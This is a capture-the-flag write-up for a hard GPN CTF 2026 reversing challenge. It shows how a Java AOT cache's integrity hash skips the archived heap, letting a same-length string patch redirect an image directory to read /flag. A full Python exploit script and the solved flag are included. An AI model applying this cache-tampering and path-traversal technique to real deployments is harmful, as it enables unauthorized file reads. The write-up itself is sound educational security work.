Challenge: leftover-leftovers · CTF: GPN CTF 2026 · Category: Reversing · Difficulty: Hard
Summary#
A two-stage Java AOT-cache app where the application classes live only inside the AOT cache, not the jar. Stage 1 (OuterServer) lets you upload a replacement cache.aot but only accepts it if a per-class integrity hash matches the original; stage 2 then boots the real app with your cache. The hash covers constant-pool pointers and method bytecode but not the archived heap, so we patch the pre-resolved heap String "images" → "/../.." (same length) to redirect the image directory and read /flag.
Solution#
Step 1: Recover the code and the integrity gap#
The app classes (de.kitctf.gpn24.leftovers.*) aren’t in the jar — they’re shipped in cache.aot. Run the app and dump them with the HotSpot Serviceability Agent (relax ptrace_scope first):
1
2
3
| sudo sh -c 'echo 0 > /proc/sys/kernel/yama/ptrace_scope'
./my-jdk/bin/java -XX:+UseG1GC -XX:+UseCompressedOops -Xmx3g -XX:AOTCache=cache.aot -jar leftovers2.jar &
printf 'dumpclass de.kitctf.gpn24.leftovers.Server\nquit\n' | ./my-jdk/bin/jhsdb clhsdb --pid <PID>
|
OuterServer.verifyStuff (also in a cache, dumped the same way) hashes per class: each constant-pool entry’s (tag, rawInt, rawLong) — where rawLong is the raw 8-byte slot, i.e. a pointer for Utf8/String entries — plus each method’s bytecode/name/signature. It does not hash symbol byte content or the archived heap.
The stage-2 app fixes the image dir to the literal "images" and serves folderPath.resolve(sanitize(name)), where sanitize maps [^a-zA-Z0-9_-] → _ (so a product name can’t contain / or .). set-image-dir is disabled.
Step 2: Patch the heap String, not the symbol#
Editing the constant-pool "images" Utf8 symbol does nothing — CONSTANT_String literals are pre-resolved into the archived heap as java.lang.String objects. So patch the heap byte[] directly: "images" (6 bytes) → "/../.." (6 bytes, so the array length is unchanged). The dir becomes /../..; a product named flag resolves to /../../flag, which the OS normalizes to /flag. The heap isn’t hashed, so OuterServer accepts the upload.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
| #!/usr/bin/env python3
import sys, time, urllib.request
CACHE, EVIL = "cache.aot", "evil.aot"
HEAP_IMAGES_OFFSET = 0x324eb80 # heap byte[] of the resolved "images" String
URL = sys.argv[1] if len(sys.argv) > 1 else \
"https://flash-fried-fish-fingers-on-sauced-tapenade-jcck.gpn24.ctf.kitctf.de"
# 1) patch heap "images" -> "/../.." (same length => integrity hash unchanged)
data = bytearray(open(CACHE, "rb").read())
assert data[HEAP_IMAGES_OFFSET:HEAP_IMAGES_OFFSET+6] == b"images"
data[HEAP_IMAGES_OFFSET:HEAP_IMAGES_OFFSET+6] = b"/../.."
open(EVIL, "wb").write(data)
# 2) POST /init to OuterServer (stage 1). On accept it System.exit(0)s (empty reply).
boundary = "----leftovers2"
payload = (f"--{boundary}\r\n"
'Content-Disposition: form-data; name="cache.aot"; filename="cache.aot"\r\n'
"Content-Type: application/octet-stream\r\n\r\n").encode() \
+ data + f"\r\n--{boundary}--\r\n".encode()
try:
urllib.request.urlopen(urllib.request.Request(URL + "/init", data=payload,
method="POST", headers={"Content-Type": f"multipart/form-data; boundary={boundary}"}),
timeout=180).read()
except Exception:
pass # empty reply = accepted
time.sleep(10) # let stage 2 boot on the same URL
def req(method, path, body=None):
r = urllib.request.Request(URL + path, data=body.encode() if body else None,
method=method, headers={"Content-Type": "application/json"})
return urllib.request.urlopen(r, timeout=20).read().decode(errors="replace")
# 3) register product "flag" (no imageUrl => no overwrite), then read it
req("PUT", "/products/flag",
'{"name":"flag","quantity":1,'
'"bestBefore":"2030-01-01T00:00:00","notAfter":"2030-01-01T00:00:00"}')
print("FLAG:", req("GET", "/images/flag").strip())
|
Output:
1
| FLAG: GPNCTF{i_hOpE_7he_C4ChE_IS_nevER_PR0v1d3D_bY_lIbRaRiE5}
|
Flag#
1
| GPNCTF{i_hOpE_7he_C4ChE_IS_nevER_PR0v1d3D_bY_lIbRaRiE5}
|